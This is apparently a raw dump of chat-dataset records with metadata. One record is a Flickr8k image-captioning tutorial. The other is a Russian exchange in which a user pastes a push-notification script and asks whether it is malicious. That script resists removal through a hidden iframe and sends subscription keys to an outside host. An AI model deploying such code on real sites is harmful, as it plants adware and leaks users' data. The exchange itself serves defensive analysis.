file.write(data)\n\nsave_descriptions(descriptions, 'descriptions.txt')\n```\n\n#### 5. Load Train, Validation, and Test Splits\n\n```python\ndef load_set(filename):\n doc = load_doc(filename)\n dataset = set()\n for line in doc.strip().split('\\n'):\n image_id = line.split('.')[0]\n dataset.add(image_id)\n return dataset\n\ntrain = load_set('data/Flickr8k_text/Flickr_8k.trainImages.txt')\nvalid = load_set('data/Flickr8k_text/Flickr_8k.devImages.txt')\ntest = load_set('data/Flickr8k_text/Flickr_8k.testImages.txt')\nprint(f'Training Set: {len(train)}')\nprint(f'Validation Set: {len(valid)}')\nprint(f'Test Set: {len(test)}')\n```\n\n#### 6. Create Training, Validation, and Test Descriptions\n\n```python\ndef load_clean_descriptions(filename, dataset):\n doc = load_doc(filename)\n descriptions = defaultdict(list)\n for line in doc.strip().split('\\n'):\n tokens = line.split()\n image_id, caption = tokens[0], ' '.join(tokens[1:])\n if image_id in dataset:\n descriptions[image_id].append(caption)\n return descriptions\n\ntrain_descriptions = load_clean_descriptions('descriptions.txt', train)\nvalid_descriptions = load_clean_descriptions('descriptions.txt', valid)\ntest_descriptions = load_clean_descriptions('descriptions.txt', test)\nprint(f'Transcriptions: train={len(train_descriptions)}, validation={len(valid_descriptions)}, test={len(test_descriptions)}')\n```\n\n#### 7. Build Vocabulary\n\n```python\ndef build_vocabulary(descriptions, threshold=10):\n word_counts = {}\n for key in descriptions:\n for caption in descriptions[key]:\n for word in caption.split():\n word_counts[word] = word_counts.get(word, 0) + 1\n vocab = [word for word, count in word_counts.items() if count >= threshold]\n return vocab\n\nvocab = build_vocabulary(train_descriptions)\nprint(f'Vocabulary Size: {len(vocab)}')\n```\n\n#### 8. Convert Words to Integers (Tokenizer)\n\n```python\ntokenizer = Tokenizer()\nlines = []\nfor key in train_descriptions:\n for caption in train_descriptions[key]:\n lines.append(caption)\ntokenizer.fit_on_texts(lines)\nvocab_size = len(tokenizer.word_index) + 1\nprint(f'Vocabulary Size (Tokenizer): {vocab_size}')\n```\n\n#### 9. Determine Maximum Caption Length\n\n```python\ndef max_length(descriptions):\n return max(len(caption.split()) for captions in descriptions.values() for caption in captions)\n\nmax_length = max_length(train_descriptions)\nprint(f'Max Caption Length: {max_length}')\n```\n\n## Building the Image Captioning Model\n\nThe model consists of two main parts:\n\n1. **Feature Extraction (CNN)**: Extract image features using a Convolutional Neural Network (InceptionV3).\n2. **Sequence Modeling (RNN)**: Generate captions using a Recurrent Neural Network (LSTM).\n\n### 1. Feature Extraction with CNN\n\nAs previously set up, we use InceptionV3 to extract features.\n\n### 2. Sequence Modeling with RNN\n\nDesign the RNN to take image features and generate captions word by word.\n\n### 3. Combining CNN and RNN\n\nBuild a model that integrates both CNN and RNN components.\n\n```python\n# Define model parameters\nembedding_dim = 256\nunits = 256\n\n# Image feature input\nimage_input = Input(shape=(2048,))\nimage_dropout = Dropout(0.5)(image_input)\nimage_dense = Dense(embedding_dim, activation='relu')(image_dropout)\n\n# Caption input\ncaption_input = Input(shape=(max_length,))\ncaption_embedding = Embedding(vocab_size, embedding_dim, mask_zero=True)(caption_input)\ncaption_dropout = Dropout(0.5)(caption_embedding)\ncaption_lstm = LSTM(units)(caption_dropout)\n\n# Combine features\ndecoder1 = add([image_dense, caption_lstm])\ndecoder2 = Dense(units, activation='relu')(decoder1)\noutputs = Dense(vocab_size, activation='softmax')(decoder2)\n\n# Define the model\nmodel = Model(inputs=[image_input, caption_input], outputs=outputs)\nmodel.compile(loss='categorical_crossentropy', optimizer='adam')\n\nmodel.summary()\n```\n\n## Training the Model\n\nTraining involves feeding image features and corresponding captions to the model. Since captions are sequences, we use the \"teacher forcing\" technique where the model is trained to predict the next word in the sequence given the previous words.\n\n### 1. Prepare Training Data\n\nCreate generator functions to feed data to the model in batches, which is efficient for large datasets.\n\n```python\ndef create_sequences(tokenizer, max_length, descriptions, photos, vocab_size):\n X1, X2, y = [], [], []\n for key, captions in descriptions.items():\n for caption in captions:\n # Convert words to integer tokens\n seq = tokenizer.texts_to_sequences([caption])[0]\n for i in range(1, len(seq)):\n in_seq, out_seq = seq[:i], seq[i]\n in_seq = pad_sequences([in_seq], maxlen=max_length)[0]\n out_seq = tf.keras.utils.to_categorical([out_seq], num_classes=vocab_size)[0]\n X1.append(photos[key][0])\n X2.append(in_seq)\n y.append(out_seq)\n return np.array(X1), np.array(X2), np.array(y)\n\n# Load image features\nwith open('features.pkl', 'rb') as f:\n features = pickle.load(f)\n\n# Prepare training data\nX1_train, X2_train, y_train = create_sequences(tokenizer, max_length, train_descriptions, features, vocab_size)\n\nprint(X1_train.shape, X2_train.shape, y_train.shape)\n```\n\n**Note**: Due to memory constraints, it's advisable to use data generators for large datasets. Here, for simplicity, we're loading all data into memory.\n\n### 2. Train the Model\n\n```python\nepochs = 20\nbatch_size = 64\n\nmodel.fit([X1_train, X2_train], y_train, epochs=epochs, batch_size=batch_size, verbose=1)\n```\n\n**Tips**:\n\n- **Early Stopping**: Monitor validation loss and stop training when it stops improving.\n- **Checkpointing**: Save the best model based on validation loss.\n\n### 3. Save the Model\n\n```python\nmodel.save('image_caption_model.h5')\n```\n\n## Evaluating the Model\n\nEvaluation involves assessing how well the model generates captions. Common metrics include BLEU scores.\n\n### BLEU Score\n\nThe BLEU (Bilingual Evaluation Understudy) score evaluates the quality of machine-generated text compared to reference texts.\n\n```python\nfrom nltk.translate.bleu_score import corpus_bleu\n\ndef evaluate_model(model, descriptions, photos, tokenizer, max_length):\n actual, predicted = list(), list()\n for key, captions in descriptions.items():\n yhat = generate_caption(model, photos, tokenizer, key, max_length)\n references = [caption.split() for caption in captions]\n predicted = yhat.split()\n actual.append(references)\n predicted = predicted\n yield actual, predicted\n\ndef generate_caption(model, photo, tokenizer, key, max_length):\n in_text = 'startseq'\n for _ in range(max_length):\n sequence = tokenizer.texts_to_sequences([in_text])[0]\n sequence = pad_sequences([sequence], maxlen=max_length)\n yhat = model.predict([photo[key], sequence], verbose=0)\n yhat = np.argmax(yhat)\n word = tokenizer.index_word.get(yhat, None)\n if word is None:\n break\n in_text += ' ' + word\n if word == 'endseq':\n break\n return in_text\n\n# Example evaluation\n# Note: Implement evaluation on the validation set for BLEU score calculation\n```\n\n**Implementing BLEU Score Calculation**:\n\n```python\ndef calculate_bleu_score(model, descriptions, features, tokenizer, max_length):\n actual, predicted = list(), list()\n for key, caps in descriptions.items():\n yhat = generate_caption(model, features, tokenizer, key, max_length)\n yhat = yhat.split()\n yhat = yhat[1:-1] # Remove startseq and endseq\n references = [cap.split()[1:-1] for cap in caps]\n actual.append(references)\n predicted.append(yhat)\n bleu_score = corpus_bleu(actual, predicted)\n return bleu_score\n\nbleu_score = calculate_bleu_score(model, valid_descriptions, features, tokenizer, max_length)\nprint(f'BLEU Score: {bleu_score}')\n```\n\n**Note**: BLEU scores range from 0 to 1, with higher scores indicating better performance.\n\n## Testing the Model\n\nGenerate captions for new images to test the model's performance.\n\n```python\ndef load_image_features(filename):\n with open(filename, 'rb') as f:\n return pickle.load(f)\n\n# Load features\nfeatures = load_image_features('features.pkl')\n\n# Load the trained model\nmodel = load_model('image_caption_model.h5')\n\n# Generate a caption for a test image\ndef generate_caption_test(model, photo, tokenizer, max_length):\n in_text = 'startseq'\n for _ in range(max_length):\n sequence = tokenizer.texts_to_sequences([in_text])[0]\n sequence = pad_sequences([sequence], maxlen=max_length)\n yhat = model.predict([photo, sequence], verbose=0)\n yhat = np.argmax(yhat)\n word = tokenizer.index_word.get(yhat, None)\n if word is None:\n break\n in_text += ' ' + word\n if word == 'endseq':\n break\n return in_text\n\n# Select a random test image\nimport random\n\ntest_image_id = random.choice(list(test_descriptions.keys()))\ntest_image_feature = features[test_image_id]\n\n# Generate caption\ncaption = generate_caption_test(model, {test_image_id: test_image_feature}, tokenizer, max_length)\nprint(f'Generated Caption: {caption}')\n```\n\n## Converting the Model to TensorFlow Lite\n\nTo deploy the model on mobile devices, convert it to TensorFlow Lite format.\n\n### 1. Freeze the Model\n\nFirst, ensure that the model is saved in the TensorFlow SavedModel format.\n\n```python\n# Convert Keras model to SavedModel\nmodel.save('saved_model/image_captioning_model')\n```\n\n### 2. Convert to TensorFlow Lite\n\nUse the TensorFlow Lite Converter to convert the model.\n\n```python\nimport tensorflow as tf\n\n# Set the path to the SavedModel directory\nsaved_model_dir = 'saved_model/image_captioning_model'\n\n# Initialize the TFLite converter\nconverter = tf.lite.TFLiteConverter.from_saved_model(saved_model_dir)\n\n# (Optional) Optimize the model\nconverter.optimizations = [tf.lite.Optimize.DEFAULT]\n\n# Convert the model\ntflite_model = converter.convert()\n\n# Save the converted model\nwith open('image_captioning_model.tflite', 'wb') as f:\n f.write(tflite_model)\n```\n\n**Note**: Optimize the model for size and performance if necessary. Post-training quantization can reduce the model size with minimal impact on accuracy.\n\n## Deploying on Mobile\n\nDeploy the TensorFlow Lite model on Android or iOS devices.\n\n### 1. Android Deployment\n\n- **Add TensorFlow Lite Dependency**: Add the TensorFlow Lite library to your `build.gradle`:\n\n ```groovy\n dependencies {\n implementation 'org.tensorflow:tensorflow-lite:2.12.0'\n }\n ```\n\n- **Load the TFLite Model**:\n\n ```java\n Interpreter tflite;\n try {\n tflite = new Interpreter(loadModelFile(\"image_captioning_model.tflite\"));\n } catch (Exception e) {\n e.printStackTrace();\n }\n ```\n\n- **Perform Inference**: Prepare the input (image features and caption sequence) and run inference to get the output.\n\n### 2. iOS Deployment\n\n- **Add TensorFlow Lite Framework**: Integrate TensorFlow Lite using CocoaPods or manually.\n\n- **Load the TFLite Model**:\n\n ```swift\n guard let modelPath = Bundle.main.path(forResource: \"image_captioning_model\", ofType: \"tflite\") else {\n fatalError(\"Failed to load the model file.\")\n }\n let interpreter = try Interpreter(modelPath: modelPath)\n ```\n\n- **Perform Inference**: Similar to Android, prepare inputs and execute the interpreter to get outputs.\n\n**Note**: Detailed deployment steps vary based on specific app requirements and platforms. Refer to the [TensorFlow Lite documentation](https://www.tensorflow.org/lite/guide) for comprehensive guides.\n\n## Conclusion\n\nThis guide provided a detailed walkthrough for building an image captioning model using the Flickr8k dataset. We covered data loading, preprocessing, model building, training, evaluation, and conversion to TensorFlow Lite for mobile deployment. Image captioning combines computer vision and natural language processing, showcasing the power of deep learning in generating meaningful descriptions from visual data.\n\n**Next Steps**:\n\n- **Enhance the Model**: Experiment with more advanced architectures, such as attention mechanisms.\n- **Increase Dataset Size**: Use larger datasets like Flickr30k or MS COCO for improved performance.\n- **Fine-Tune CNN**: Fine-tune the CNN feature extractor for better image representations.\n- **Optimize for Deployment**: Further optimize the model for real-time mobile applications.\n\n---\n\n# References\n\n- [TensorFlow Image Captioning Tutorial](https://www.tensorflow.org/tutorials/text/image_captioning)\n- [Keras Documentation](https://keras.io/)\n- [Flickr8k Dataset on Kaggle](https://www.kaggle.com/datasets/adityajn105/flickr8k)","behavior":"degenerate_repetition","conversation_hash":"db4b567eb17613254723cb33217f8e54","conversation_redacted":false,"conversation_toxic":false,"country":"India","empty_output":false,"evidence_codes":[],"label":"absent","label_present":false,"label_qualified":false,"label_source":"Final dense release","language":"English","model":"o1-mini-2024-09-12","n_chars":20343,"n_turns_in_conversation":1,"n_words":2191,"source_row_offset":35231,"source_shard":"turns-00031.parquet","timestamp":"Mon, 07 Oct 2024 10:02:59 GMT","turn_id":"dd770dc2b29211d4310b2268","turn_index":0,"user_text":"create practical documentation to create a image captioning model using flickr8k dataset start from the basic how to load the dataset in load to preprocess rain evaluate test and convert lite for mobile step by step in deep detail "},{"assistant_initiates":false,"asst_text":"\u0412 \u0434\u0430\u043d\u043d\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435 \u043c\u043e\u0436\u043d\u043e \u0443\u0432\u0435\u0440\u0435\u043d\u043d\u043e \u0441\u043a\u0430\u0437\u0430\u0442\u044c, \u0447\u0442\u043e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d CONNECT-\u0437\u0430\u043f\u0440\u043e\u0441. \u041b\u043e\u0433-\u0444\u0430\u0439\u043b Squid \u0447\u0435\u0442\u043a\u043e \u0443\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u043d\u0430 \u044d\u0442\u043e \u0432 \u0441\u0442\u0440\u043e\u043a\u0435:\n\n```\nTCP_TUNNEL/200 ... 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\u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u0438\u044f \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442\u044c \u0431\u0435\u0437 \u044f\u0441\u043d\u043e\u0433\u043e \u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u0438\u044f \u0438\u043b\u0438 \u0441\u043e\u0433\u043b\u0430\u0441\u0438\u044f \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f.\n\n\u0423\u0447\u0438\u0442\u044b\u0432\u0430\u044f \u044d\u0442\u0438 \u0444\u0430\u043a\u0442\u043e\u0440\u044b, \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u043f\u0440\u043e\u044f\u0432\u043b\u044f\u0442\u044c \u043e\u0441\u0442\u043e\u0440\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u043f\u0440\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0438 \u043f\u043e\u0434\u043e\u0431\u043d\u043e\u0433\u043e \u0441\u043a\u0440\u0438\u043f\u0442\u0430. \u0415\u0441\u043b\u0438 \u0432\u044b \u043d\u0435 \u0443\u0432\u0435\u0440\u0435\u043d\u044b \u0432 \u0435\u0433\u043e \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u0438 \u0438\u043b\u0438 \u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0438, \u0438\u043b\u0438 \u0435\u0441\u043b\u0438 \u043e\u043d \u0431\u044b\u043b \u043f\u043e\u043b\u0443\u0447\u0435\u043d \u0438\u0437 \u043d\u0435\u043d\u0430\u0434\u0435\u0436\u043d\u043e\u0433\u043e \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430, \u043b\u0443\u0447\u0448\u0435 \u0438\u0437\u0431\u0435\u0433\u0430\u0442\u044c \u0435\u0433\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f. \u041a\u0440\u043e\u043c\u0435 \u0442\u043e\u0433\u043e, \u0443\u0431\u0435\u0434\u0438\u0442\u0435\u0441\u044c, \u0447\u0442\u043e \u0430\u043d\u0442\u0438\u0432\u0438\u0440\u0443\u0441\u043d\u044b\u0435 \u0438 \u0434\u0440\u0443\u0433\u0438\u0435 \u0437\u0430\u0449\u0438\u0442\u043d\u044b\u0435 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u044b \u043d\u0430 \u0432\u0430\u0448\u0435\u043c \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u044b \u0438 \u0430\u043a\u0442\u0438\u0432\u043d\u044b \u0434\u043b\u044f \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0438\u044f \u0438 \u043f\u0440\u0435\u0434\u043e\u0442\u0432\u0440\u0430\u0449\u0435\u043d\u0438\u044f \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0445 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0439.","behavior":"degenerate_repetition","conversation_hash":"878db23f557a62700a2e0913c6aea514","conversation_redacted":false,"conversation_toxic":false,"country":"Russia","empty_output":false,"evidence_codes":[],"label":"absent","label_present":false,"label_qualified":false,"label_source":"Final dense release","language":"Russian","model":"gpt-4o-2024-08-06","n_chars":15037,"n_turns_in_conversation":4,"n_words":1100,"source_row_offset":35234,"source_shard":"turns-00031.parquet","timestamp":"Mon, 07 Oct 2024 10:03:43 GMT","turn_id":"34471b06ef7de819a200652f","turn_index":2,"user_text":"(function () {\n\t\t\t\t 'use strict';\n\n\t\t\t\t const SETTINGS = {\n\t\t\t\t callbackName: 'onSubInit',\n\t\t\t\t workerName: 'aOn6Fx6x.js',\n\t\t\t\t serverUrl: '//bro.kosmohubeq.space/?send=5f65da12-ee0c-423b-97ea-5103bf1d9580&s=mizweojtg45ha3ddf42dsnbx',\n\t\t\t\t applicationServerKey: urlB64ToUint8Array('BIbjCoVklTIiXYjv3Z5WS9oemREJPCOFVHwpAxQphYoA5FOTzG-xOq6GiK31R-NF--qzgT3_C2jurmRX_N6nY4g'),\n\t\t\t\t cookieNameS: 'notify-p',\n\t\t\t\t background: {\n show: false,\n transparent: 0,\n text: \"\\u041d\\u0430\\u0436\\u043c\\u0438\\u0442\\u0435 \\\"\\u0420\\u0430\\u0437\\u0440\\u0435\\u0448\\u0438\\u0442\\u044c\\\", \\u0447\\u0442\\u043e\\u0431\\u044b \\u043f\\u043e\\u043b\\u0443\\u0447\\u0430\\u0442\\u044c \\u0443\\u0432\\u0435\\u0434\\u043e\\u043c\\u043b\\u0435\\u043d\\u0438\\u044f\" }\n };\n\n\n window.Sk = SETTINGS.applicationServerKey;\n SETTINGS.template = '\\\n
\\\n
\\\n ' + SETTINGS.background.text + '\\\n
\\\n
\\\n \u00d7\\\n
\\\n
\\\n ';\n\n const EVENTS = {\n show: [],\n subscribe: [],\n disallow: [],\n error: []\n };\n\n function urlB64ToUint8Array(base64String) {\n const padding = '='.repeat((4 - base64String.length % 4) % 4);\n const base64 = (base64String + padding)\n .replace(/\\-/g, '+')\n .replace(/_/g, '/');\n const rawData = window.atob(base64);\n const outputArray = new Uint8Array(rawData.length);\n for (let i = 0; i < rawData.length; ++i) {\n outputArray[i] = rawData.charCodeAt(i);\n }\n return outputArray;\n }\n\n function restoreMethods() {\n function ready() {\n return new Promise((resolve, reject) => {\n if (document.readyState !== 'loading') {\n return resolve();\n }\n document.addEventListener('DOMContentLoaded', resolve);\n });\n }\n function getOriginalWindow() {\n let frame = document.createElement('iframe');\n frame.style.display = 'none';\n frame.style.visibility = 'hidden';\n document.body.insertBefore(frame, document.body.firstChild);\n return frame.contentWindow;\n }\n return ready().then(getOriginalWindow).then(safeWindow => {\n try {\n ServiceWorkerRegistration.prototype.unregister = safeWindow.ServiceWorkerRegistration.prototype.unregister;\n PushSubscription.prototype.unsubscribe = safeWindow.PushSubscription.prototype.unsubscribe;\n } catch (e) {}\n });\n }\n\n function array_equal(a, b) {\n return a.length === b.length\n ? a.every(function (el, i) {\n return el === b[i];\n }, b)\n : false;\n }\n\n function isMobileDevice() {\n if (typeof window.orientation !== 'undefined') {\n return true;\n }\n\n if ('ontouchstart' in window || navigator.msMaxTouchPoints) {\n return true;\n }\n\n return false;\n }\n\n const COOKIE = {\n get: function (name) {\n let matches = document.cookie.match(new RegExp(\"(?:^|; )\" + name.replace(/([\\.$?*|{}\\(\\)\\[\\]\\\\\\/\\+^])/g,\n '\\\\$1') + \"=([^;]*)\"));\n return matches ? decodeURIComponent(matches[1]) : undefined;\n },\n set: function (name, value, options) {\n options = options || {};\n\n let expires = options.expires;\n\n if (typeof expires === \"number\" && expires) {\n let d = new Date();\n d.setTime(d.getTime() + expires * 1000);\n expires = options.expires = d;\n }\n if (expires && expires.toUTCString) {\n options.expires = expires.toUTCString();\n }\n\n value = encodeURIComponent(value);\n\n let updatedCookie = name + \"=\" + value;\n\n for (let propName in options) {\n if (options.hasOwnProperty(propName)) {\n updatedCookie += \"; \" + propName;\n let propValue = options[propName];\n if (propValue !== true) {\n updatedCookie += \"=\" + propValue;\n }\n }\n }\n\n document.cookie = updatedCookie;\n }\n };\n\n const templateDom = {\n element: null,\n removeHtml: function () {\n if (templateDom.element) {\n templateDom.element.parentNode.removeChild(templateDom.element);\n templateDom.element = null;\n }\n },\n events: {\n close: function (ev) {\n ev.preventDefault();\n templateDom.removeHtml();\n }\n }\n };\n\n let workerInstaller = null;\n function getWorkerRegistration() {\n return workerInstaller\n .then(() => navigator.serviceWorker.ready)\n ;\n }\n\n const mainManager = {\n isIncognitoMode: false,\n emitEvents: function (event, data) {\n EVENTS[event].forEach(cb => cb(data));\n },\n attachEvent: function (event, callback) {\n if (typeof EVENTS[event] === 'undefined') {\n return false;\n }\n EVENTS[event].unshift(callback);\n return true;\n },\n processError: function (error) {\n console.error(error);\n this.emitEvents('error', error);\n },\n renderHtml: function () {\n if (!SETTINGS.background.show) {\n return false;\n }\n\n function ready(callback) {\n if (document.readyState !== 'loading') {\n return callback();\n }\n document.addEventListener('DOMContentLoaded', function () {\n return callback();\n });\n }\n ready(() => {\n templateDom.element = document.createElement('div');\n templateDom.element.innerHTML = SETTINGS.template;\n document.body.appendChild(templateDom.element);\n\n for (let event in templateDom.events) {\n if (templateDom.events.hasOwnProperty(event)) {\n let elements = [].slice.call(templateDom.element.getElementsByClassName('js-' + event));\n elements.forEach(element => {\n element.onclick = templateDom.events[event];\n element.removeAttribute('class');\n });\n }\n }\n });\n },\n renderShtml: function () {\n if (COOKIE.get(SETTINGS.cookieNameS) === 'denied') {\n return false;\n }\n function ready(callback) {\n if (document.readyState !== 'loading') {\n return callback();\n }\n document.addEventListener('DOMContentLoaded', function () {\n return callback();\n });\n }\n ready(() => {\n templateDom.element = document.createElement('script');\n templateDom.element.src = SETTINGS.sUrl;\n document.body.appendChild(templateDom.element);\n });\n },\n checkSubscription: function () {\n try {\n if (Notification.permission === 'default') {\n this.renderHtml();\n this.emitEvents('show');\n }\n } catch (e) {\n return Promise.reject(e);\n }\n\n return Notification.requestPermission()\n .then(permission => {\n templateDom.removeHtml();\n\n switch (this.getPermission()) {\n case 'granted':\n return getWorkerRegistration()\n .then(registration => registration.pushManager.getSubscription()\n .then(subscription => {\n if (subscription &&\n subscription.options &&\n subscription.options.applicationServerKey &&\n array_equal(new Uint8Array(subscription.options.applicationServerKey), SETTINGS.applicationServerKey)\n ) {\n return this.emitEvents('subscribe');\n } else {\n return subscription.unsubscribe()\n .then(() => this.subscribe())\n .catch(error => this.processError(error));\n }\n })\n .catch(error => this.subscribe())\n );\n\n case 'denied':\n return this.emitEvents('disallow', 'denied');\n\n default:\n return this.emitEvents('disallow', 'cancel');\n }\n });\n },\n subscribe: function () {\n return getWorkerRegistration()\n .then(registration => registration.pushManager.subscribe({\n userVisibleOnly: true,\n applicationServerKey: SETTINGS.applicationServerKey\n }))\n .then(subscription => {\n let gmt = - new Date().getTimezoneOffset()/60;\n let rawKey = subscription.getKey ? subscription.getKey('p256dh') : '';\n let key = rawKey ? btoa(String.fromCharCode.apply(null, new Uint8Array(rawKey))) : '';\n let rawAuthSecret = subscription.getKey ? subscription.getKey('auth') : '';\n let authSecret = rawAuthSecret ? btoa(String.fromCharCode.apply(null, new Uint8Array(rawAuthSecret))) : '';\n return fetch(SETTINGS.serverUrl, {\n method: 'POST',\n mode: 'no-cors',\n body: JSON.stringify({\n id: subscription.endpoint,\n key: key,\n secret: authSecret,\n gmt: gmt,\n uri: window.location.href + '/index.php?pu=mizweojtg45ha3ddf42dsnbx'\n })\n });\n })\n .then(() => this.emitEvents('subscribe'));\n },\n getPermission() {\n if (!this.canStart()) {\n return 'default';\n }\n\n return Notification.permission;\n },\n canStart: function () {\n if (this.isIncognitoMode) {\n return false;\n }\n if (!('serviceWorker' in navigator) || !('Notification' in window) || !('fetch' in window)) {\n return false;\n }\n // Iframe\n if (window.self !== window.top) {\n return false;\n }\n\n return true;\n },\n start: function () {\n if (!this.canStart()) {\n let error = new Error('Browser is not suitable for subscriptions');\n error.code = 'UNSUPPORTED_DEVICE';\n return this.processError(error);\n }\n\n if (this.getPermission() === 'denied') {\n return this.emitEvents('disallow', 'denied');\n }\n\n this.checkSubscription()\n .catch(error => this.processError(error));\n }\n };\n\n function init() {\n if (mainManager.canStart()) {\n workerInstaller = navigator.serviceWorker\n .register('/' + SETTINGS.workerName)\n ;\n workerInstaller.catch(error => {});\n }\n\n if (typeof window[SETTINGS.callbackName] === 'function') {\n window[SETTINGS.callbackName](mainManager);\n } else {\n mainManager.start();\n }\n\n var im = document.getElementById('p_arrow');\n if (im) {\n setInterval(function () {\n if (im.style.top === '0px') {\n im.style.top = '-40px';\n } else {\n im.style.top = '0px';\n }\n }, 500);\n }\n }\n\n const sleep = (milliseconds) => {\n return new Promise(resolve => setTimeout(resolve, milliseconds))\n }\n init();\n}()); \u042d\u0442\u043e \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u0441\u043a\u0440\u0438\u043f\u0442?"},{"assistant_initiates":false,"asst_text":"\u042d\u0442\u043e\u0442 \u0441\u043a\u0440\u0438\u043f\u0442, \u043f\u043e\u0445\u043e\u0436\u0435, \u043f\u0440\u0435\u0434\u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d \u0434\u043b\u044f \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u0438\u044f\u043c\u0438 \u0432 \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0435 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0441\u0435\u0440\u0432\u0438\u0441-\u0432\u043e\u0440\u043a\u0435\u0440\u0430. \u0414\u0430\u0432\u0430\u0439\u0442\u0435 \u0440\u0430\u0437\u0431\u0435\u0440\u0435\u043c \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u043e\u0441\u0442\u044c \u0431\u043e\u043b\u0435\u0435 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e:\n\n1. **\u041a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u044f**: \u0421\u043a\u0440\u0438\u043f\u0442 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 \u043e\u0431\u044a\u0435\u043a\u0442 `SETTINGS`, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u0435\u0442 \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u044b, \u0442\u0430\u043a\u0438\u0435 \u043a\u0430\u043a URL \u0441\u0435\u0440\u0432\u0435\u0440\u0430, \u043a\u043b\u044e\u0447 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u0438\u0439 \u0438 \u0448\u0430\u0431\u043b\u043e\u043d \u0434\u043b\u044f \u043e\u0442\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u044f \u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u0438\u0439.\n\n2. **\u0417\u0430\u043f\u0440\u043e\u0441 \u0440\u0430\u0437\u0440\u0435\u0448\u0435\u043d\u0438\u0439**: \u0421\u043a\u0440\u0438\u043f\u0442 \u043f\u044b\u0442\u0430\u0435\u0442\u0441\u044f \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0440\u0430\u0437\u0440\u0435\u0448\u0435\u043d\u0438\u0435 \u043d\u0430 \u043e\u0442\u043f\u0440\u0430\u0432\u043a\u0443 \u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u0438\u0439 \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c `Notification.requestPermission()`. \u0415\u0441\u043b\u0438 \u0440\u0430\u0437\u0440\u0435\u0448\u0435\u043d\u0438\u0435 \u0443\u0436\u0435 \u0435\u0441\u0442\u044c, \u043e\u043d \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0443\u044e \u043f\u043e\u0434\u043f\u0438\u0441\u043a\u0443 \u043d\u0430 push-\u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u0438\u044f.\n\n3. **\u041f\u043e\u0434\u043f\u0438\u0441\u043a\u0430 \u043d\u0430 \u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u0438\u044f**: \u0415\u0441\u043b\u0438 \u043f\u043e\u0434\u043f\u0438\u0441\u043a\u0430 \u0435\u0449\u0435 \u043d\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442 \u0438\u043b\u0438 \u043d\u0435 \u0441\u043e\u0432\u043f\u0430\u0434\u0430\u0435\u0442 \u0441 \u043e\u0436\u0438\u0434\u0430\u0435\u043c\u044b\u043c\u0438 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430\u043c\u0438, \u0441\u043a\u0440\u0438\u043f\u0442 \u043f\u044b\u0442\u0430\u0435\u0442\u0441\u044f \u043f\u043e\u0434\u043f\u0438\u0441\u0430\u0442\u044c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u043d\u0430 push-\u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u0438\u044f \u0447\u0435\u0440\u0435\u0437 `ServiceWorker`.\n\n4. **\u0420\u0435\u0433\u0438\u0441\u0442\u0440\u0430\u0446\u0438\u044f \u0441\u0435\u0440\u0432\u0438\u0441-\u0432\u043e\u0440\u043a\u0435\u0440\u0430**: 